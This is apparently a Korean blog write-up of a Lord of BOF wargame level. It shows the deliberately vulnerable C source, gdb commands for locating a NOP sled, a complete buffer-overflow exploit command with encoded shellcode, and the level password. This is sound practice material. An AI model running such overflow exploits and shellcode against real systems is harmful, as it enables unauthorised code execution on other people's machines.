thumbnail
cd ..
root@blog:~/posts/ 202210

FTZ LOB LEVEL 8

#KOR#pwn
2022.10.18.

0. 들어가기 전에

이 문제에서는 더 이상 매개변수를 두개 넘겨줄 수 없다. 해결법은 그래도 그리 어렵진 않다.

Level 8 : Orge -> Troll

소스코드를 확인해보자.

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        // here is changed, 파라미터의 개수가 하나밖에 없다.
        if(argc != 2){
                printf("argc must be two!\n");
                exit(0);
        }

        // egghunter, 환경변수 사용 불가
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        // 첫 번째 argv의 마지막 값은 무조건 /xbf, 따라서 특정 주소를 나타내야 한다.
        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);

        // one more!
        memset(argv[1], 0, strlen(argv[1]));
}

이런 경우는 그냥 첫 번째 매개변수에 두 번째 매개변수를 넘겨주면 되는데, 이게 무슨 말이냐면 :

우리가 넘길 매개변수 = return주소를 포함하는 통상적인 버퍼 오버플로우 스트링 + ” ” (빈 스트링) + NOP SLED 포함 쉘코드

이런 식으로 매개변수를 넘겨서, return 주소가 NOP SLED 어딘가쯤에 오게 만들면 된다는 말이다. 말로 들으면 어려우니 코드를 보자 :

b * main
r `python -c'print "A"*44+"\xbf\xbf\xbf\xbf"'` `python -c'print "\x90"*100'`
x/200x $esp

확인해보면 A(\x41)부터 시작해서 쭉쭉 나가다가 어느 순간 \x90이 시작되는 것이 보인다. 그 주소는 다음과 같다 :

대충이나마의 주소 : 0xbffffb3c

그럼 그냥 return 코드로 저 주소를 넘겨주면 된다. 어렵지 않다.

따라서 exploit :

./`python -c 'print "\x90"*20+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+" "+"D"*44+"\x90\xfb\xff\xbf"'`

비밀번호 : aspirin


Source

[ comments ]